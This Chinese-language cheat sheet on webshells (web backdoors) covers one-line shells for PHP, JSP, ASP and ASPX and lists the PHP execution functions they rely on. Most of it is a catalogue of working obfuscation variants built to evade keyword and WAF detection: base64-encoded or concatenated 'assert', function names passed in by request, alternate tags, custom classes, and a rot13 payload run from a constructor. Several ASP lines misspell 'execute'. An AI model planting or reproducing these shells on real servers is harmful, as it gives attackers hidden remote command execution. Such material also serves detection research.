WebShell
1. 定义
- 以php、jsp、asp、aspx或者cgi等网页文件形式存在的一种命令执行环境,也叫做网页后门
2. 常见一句话木马
(1). php
<?php eval($_POST['cmd']); ?>
(2). jsp
<% @page language="java" Runtime.getRuntime().exec(request.getParameter("cmd")); %>
(3). asp
<% eval request("cmd") %>
<% excute request("cmd") %>
<% excute(request("cmd")) %>
<% excuteGlobal request("cmd") %>
(4). aspx
1.
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
2.
<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["pass"], "unsafe"));%>
3. 相关函数
(1). 代码执行
eval()、assert()、preg_replace()、create_function()、asort()、
array_map()、array_filter()、
call_user_func()、call_user_func_array()
(2). 命令执行
system()、exec()、shell_exec()、passthru()、popen()、反引号、
escapeshellarg()、escapeshellcmd()、
proc_close()、proc_open()、
dl()
4. 变形方法
(1). 关键字查找、替换
-
str_replace()
//1. 查找 <?php $a = str_replace("abc","","aabcsabcsabceabcrabct"); @$a($_REQUEST['cmd']); ?>
//2. 替换 <?php $b = "assexx"; $c = str_replace("xx","rt",$b); @[""=>$c($_GET[_])]; ?>
(2). 编码替换
- 编码替换
<?php
$a = base64_decode("YXNzZXJ0");
$a($_REQUEST['cmd']);
?>
(3). 点操作符
<?php
$a = "as"."se";
$b = "r"."t";
$c = $a.$b;
$c($_REQUEST['cmd']);
?>
(4). 更换操作源
①隐藏assert
<?php
//?a=assert&cmd=phpinfo();
$_REQUEST[a]($_REQUEST['cmd']);
?>
②嵌套$_REQUEST
<?php
//?b=cmd&cmd=phpinfo();
@assert($_REQUEST[$_REQUEST['b']]);
?>
(5). 替换php标签
<script language="php">
@assert($_REQUEST['cmd']);
</script>
<?=`$_GET["cmd"]`?>
**##### **
(6). 字符串组合
<?php
$str = 'abcsqebrt';
$a = $str[0].$str[3].$str[3].$str[5].$str[7].$str[8];
@$a($_REQUEST['cmd']);
?>
(7). 自定义
①自定义函数
<?php
function admin($a){
@eval($a);
}
admin($_REQUEST['admin']);
?>
②自定义类
<?php
class Webshell{
function admin($a){
@eval($a);
}
}
$web = new Webshell();
$web->admin($_REQUEST['admin']);
?>
③魔术方法
- __construct
- __destruct()
- __wakeup()
- __toString()
- ...
//?name=phpinfo();
class Student{
public $xw = null;
public $xl = null;
function __construct(){
$this->xw = "riny(\$_ERDHRFG['anzr'])"; //对应eval($_REQUEST['name]);,需要对$进行转义
$this->xl = str_rot13($this->xw);
@assert($this->xl);
}
}
new Student();
④创建匿名方法
<?php
$func1 = create_function('$a,$b','return ($a + $b);');
echo $func1(10,20);
?>
(8). 异或运算
- 通过异或运算ASCII值,来绕过WAF